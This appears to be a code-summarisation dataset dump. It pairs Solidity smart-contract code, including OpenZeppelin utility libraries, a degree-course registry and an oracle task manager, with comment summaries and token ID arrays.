this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }
SPDX-License-Identifier: MIT
interface IAgency { function putApesToAgency(uint[] memory ids, address owner) external; function getApesFromAgency(uint[] memory ids, address owner) external; function setStateForApes(uint[] memory ids, address sender, bytes1 newState) external; function stopStateForApe(uint id, address sender) external returns(uint); function getApe(uint id) external view returns(uint256,address,bytes1,uint256); function setApeState(uint id, bytes1 state, uint256 date) external; function getOwnerApes(address a) external view returns(uint[] memory); function transferApesBackToOwner() external; function returnApeToOwner(uint256 tokenId) external; function returnApeToAddress(uint256 tokenId, address owner) external; }
4,022
[ 1, 3118, 28826, 17, 13211, 17, 3004, 30, 490, 1285, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 2577, 2075, 288, 203, 203, 565, 445, 1378, 1294, 281, 774, 2577, 2075, 12, 11890, 8526, 3778, 3258, 16, 1758, 3410, 13, 3903, 31, 203, 203, 565, 445, 336, 1294, 281, 1265, 2577, 2075, 12, 11890, 8526, 3778, 3258, 16, 1758, 3410, 13, 3903, 31, 203, 203, 565, 445, 12947, 1290, 1294, 281, 12, 11890, 8526, 3778, 3258, 16, 1758, 5793, 16, 1731, 21, 15907, 13, 3903, 31, 203, 203, 565, 445, 2132, 1119, 1290, 37, 347, 12, 11890, 612, 16, 1758, 5793, 13, 3903, 1135, 12, 11890, 1769, 203, 203, 565, 445, 4506, 347, 12, 11890, 612, 13, 3903, 1476, 1135, 12, 11890, 5034, 16, 2867, 16, 3890, 21, 16, 11890, 5034, 1769, 203, 203, 565, 445, 444, 37, 347, 1119, 12, 11890, 612, 16, 1731, 21, 919, 16, 2254, 5034, 1509, 13, 3903, 31, 203, 203, 565, 445, 13782, 1294, 281, 12, 2867, 279, 13, 3903, 1476, 1135, 12, 11890, 8526, 3778, 1769, 203, 203, 565, 445, 7412, 1294, 281, 2711, 774, 5541, 1435, 3903, 31, 203, 203, 565, 445, 327, 37, 347, 774, 5541, 12, 11890, 5034, 1147, 548, 13, 3903, 31, 203, 203, 565, 445, 327, 37, 347, 774, 1887, 12, 11890, 5034, 1147, 548, 16, 1758, 3410, 13, 3903, 31, 203, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xFB15127f6464fcBB82b05Dc4b772283236C65167/sources/LexSecurityToken.sol
lexDAO governance transfers token balance
_transfer(from, to, amount);
3,647,138
[ 1, 4149, 18485, 314, 1643, 82, 1359, 29375, 1147, 11013, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 389, 13866, 12, 2080, 16, 358, 16, 3844, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.23; import "./Ownable.sol"; /** @title DegreeCourse */ contract DegreeCourse is Ownable { mapping(uint => address) private intToTeaching; mapping(address => uint) private teachingToInt; uint private last = 0; bytes private degreeCourseName; bytes private degreeCoursePresident; uint8 private degreeCourseType; /** @dev Constructor of the DegreeCOurse contract. * @param _degreeCourseName Name of the degree course. * @param _degreeCoursePresident Name of the degree course president. * @param _degreeCourseType Type of the degree course. */ constructor(bytes _degreeCourseName, bytes _degreeCoursePresident, uint8 _degreeCourseType) public { degreeCourseName = _degreeCourseName; degreeCoursePresident = _degreeCoursePresident; degreeCourseType = _degreeCourseType; } /** @dev Add a theaching to the mapping. * @param teaching address of the teaching. */ function addTeaching(address teaching) public onlyOwner() { teachingToInt[teaching] = last; intToTeaching[last] = teaching; last += 1; } /** @dev Get a teaching given an index. * @param index uint of the teaching. * @return address theaching contract address. */ function getTeaching(uint index) public view returns(address) { require(index < last); return intToTeaching[index]; } /** @dev Get the number of teachings. * @return uint number of the teachings. */ function getNumberOfTeachings() public view returns(uint) { return last; } /** @dev Get degree course name. * @return bytes degree course name. */ function getDegreeCourseName() public view returns(bytes) { return degreeCourseName; } /** @dev Get degree course president. * @return bytes degree course president name. */ function getDegreeCoursePresident() public view returns(bytes) { return degreeCoursePresident; } /** @dev Get the degree course type. * @return uint8 type of the degree course. */ function getDegreeCourseType() public view returns(uint8) { return degreeCourseType; } }
* @dev Get a teaching given an index. @param index uint of the teaching. @return address theaching contract address./
function getTeaching(uint index) public view returns(address) { require(index < last); return intToTeaching[index]; }
12,565,313
[ 1, 967, 279, 6489, 497, 310, 864, 392, 770, 18, 565, 770, 2254, 434, 326, 6489, 497, 310, 18, 282, 327, 1758, 326, 497, 310, 6835, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3181, 13798, 310, 12, 11890, 770, 13, 1071, 1476, 1135, 12, 2867, 13, 288, 203, 3639, 2583, 12, 1615, 411, 1142, 1769, 203, 3639, 327, 509, 774, 56, 13798, 310, 63, 1615, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; // SPDX-License-Identifier: MIT // IMPORT INTERFACE import { Task } from './task.sol'; import { UserManager } from './user_manager.sol'; import { OracleManager } from './oracle_manager.sol'; import { TokenManager } from './token_manager.sol'; contract TaskManager { // MAP OF ALL TASKS, [ADDRESS => CONTRACT] mapping (address => Task) public tasks; // PENDING & COMPLETED TASKS FOR EACH USER -- REPLACED RESULTS mapping (address => address[]) public pending; mapping (address => result[]) public completed; // TASK RESULT OBJECT struct result { address task; string data; } // TOKEN FEE FOR TASK CREATION uint public fee; // INIT STATUS & MANAGER REFERENCES bool public initialized = false; UserManager public user_manager; OracleManager public oracle_manager; TokenManager public token_manager; // MODIFICATION EVENTS event task_created(address indexed task); event task_completed(address indexed task, string data); event task_retired(address indexed task); // LEGACY EVENT, NEEDED FOR OLD distributed-task-manager UI event modification(); // FETCH TASK function fetch_task(address task) public view returns(Task) { return tasks[task]; } // FETCH USER RELATED TASK LISTS function fetch_lists(address user) public view returns(address[] memory, result[] memory) { return (pending[user], completed[user]); } // CREATE NEW TASK function create( string memory _oracle, uint _reward, uint _timelimit, string memory _params ) public { // IF CONTRACT HAS BEEN INITIALIZED // SENDER IS A REGISTERED USER // ORACLE EXISTS // ORACLE IS SET TO ACTIVE require(initialized, 'contracts have not been initialized'); require(user_manager.exists(msg.sender), 'you need to be registered'); require(oracle_manager.exists(_oracle), 'the oracle does not exist'); require(oracle_manager.fetch_oracle(_oracle).active(), 'the oracle is not active'); // EXTRACT THE ORACLES OWNER & SERVICE PRICE uint oracle_price = oracle_manager.fetch_oracle(_oracle).price(); address oracle_owner = oracle_manager.fetch_oracle(_oracle).owner(); // MAKE SURE THE PROVIDED REWARD IS SUFFICIENT require(_reward >= oracle_price, 'the reward must be higher or equal to the oracles service cost'); // IF THE SENDER & ORACLE OWNER ARE THE SAME, if (msg.sender == oracle_owner) { uint total = _reward + fee + (_reward / 2); require(token_manager.balance(oracle_owner) >= total, 'you have insufficient tokens'); // OTHERWISE, CHECK THE BALANCE OF BOTH PARTICIPANTS } else { require(token_manager.balance(msg.sender) >= _reward + fee, 'you have insufficient tokens'); require(token_manager.balance(oracle_owner) >= _reward / 2, 'oracle owner has insufficient tokens'); } // INSTANTIATE NEW TASK Task task = new Task( msg.sender, _oracle, _timelimit, _reward + _reward / 2, _params ); // INDEX THE TASK & ADD TO PENDING tasks[address(task)] = task; pending[msg.sender].push(address(task)); // ASSIGN TASK TO THE DEVICE oracle_manager.fetch_oracle(_oracle).assign_task(address(task)); // CONSUME TOKEN FEE FROM THE CREATOR token_manager.consume(fee, msg.sender); // SEIZE TOKENS FROM BOTH PARTIES token_manager.transfer(_reward, msg.sender, address(this)); token_manager.transfer(_reward / 2, oracle_owner, address(this)); // EMIT CONTRACT MODIFIED EVENT emit task_created(address(task)); // LEGACY EVENT, see declaration for details emit modification(); } // COMPLETE A TASK function complete(address _task, string memory _data) public { // IF THE TASK EXISTS require(exists(_task), 'task does not exist'); // EXTRACT TASK & ORACLE INFO Task task = fetch_task(_task); string memory oracle = task.oracle(); address oracle_owner = oracle_manager.fetch_oracle(oracle).owner(); // IF THE DEVICE OWNER IS THE SENDER require(msg.sender == oracle_owner, 'you are not the oracles owner'); // REMOVE FROM PENDING clear_task(msg.sender, _task); // SAVE IN COMPLETED completed[msg.sender].push(result({ task: address(task), data: _data })); // RELEASE SEIZED TOKEN REWARD token_manager.transfer( task.reward(), address(this), oracle_owner ); // AWARD BOTH PARTIES WITH REPUTATION user_manager.fetch(task.creator()).award(1); user_manager.fetch(oracle_owner).award(2); // REMOVE TASK FROM THE ORACLES BACKLOG oracle_manager.fetch_oracle(oracle).clear_task(_task, 1); // SELF DESTRUCT THE TASK task.destroy(); // EMIT CONTRACT MODIFIED EVENT emit task_completed(_task, _data); // LEGACY EVENT, see declaration for details emit modification(); } // RETIRE AN INCOMPLETE TASK function retire(address _task) public { // IF THE TASK EXISTS require(exists(_task), 'task does not exist'); // SHORTHAND FOR TASK Task task = fetch_task(_task); // IF THE TASK CREATOR IS THE SENDER // IF THE TASK HAS EXPIRED require(msg.sender == task.creator(), 'you are not the task creator'); require(block.number > task.expires(), 'task has not expired yet'); // RELEASED SEIZED TOKENS TO THE TASK CREATOR token_manager.transfer( task.reward(), address(this), task.creator() ); // REMOVE TASK FROM PENDING clear_task(task.creator(), _task); // REMOVE TASK FROM THE ORACLES BACKLOG oracle_manager.fetch_oracle(task.oracle()).clear_task(_task, 0); // SELF DESTRUCT THE TASK task.destroy(); // EMIT CONTRACT MODIFIED EVENT emit task_retired(_task); // LEGACY EVENT, see declaration for details emit modification(); } // INITIALIZE THE CONTRACT function init( uint _fee, address _user_manager, address _oracle_manager, address _token_manager ) public { // IF THE CONTRACT HAS NOT BEEN INITIALIZED require(!initialized, 'contract has already been initialized'); // SET TASK TOKEN FEE fee = _fee; // SET CONTRACT REFERENCES user_manager = UserManager(_user_manager); oracle_manager = OracleManager(_oracle_manager); token_manager = TokenManager(_token_manager); // BLOCK FURTHER MODIFICATION initialized = true; } // CHECK IF TASK EXISTS function exists(address _task) public view returns(bool) { if (address(tasks[_task]) != 0x0000000000000000000000000000000000000000) { return true; } else { return false; } } // CLEAR TASK FROM PENDING function clear_task(address user, address task) private { // LOOP & FIND for(uint index = 0; index < pending[user].length; index++) { if (address(pending[user][index]) == task) { // DELETE THE ASSIGNMENT & INCREMENT COMPLETED delete pending[user][index]; } } } }
CONSUME TOKEN FEE FROM THE CREATOR
token_manager.consume(fee, msg.sender);
12,680,437
[ 1, 2248, 30590, 14275, 478, 9383, 4571, 12786, 9666, 3575, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1147, 67, 4181, 18, 21224, 12, 21386, 16, 1234, 18, 15330, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
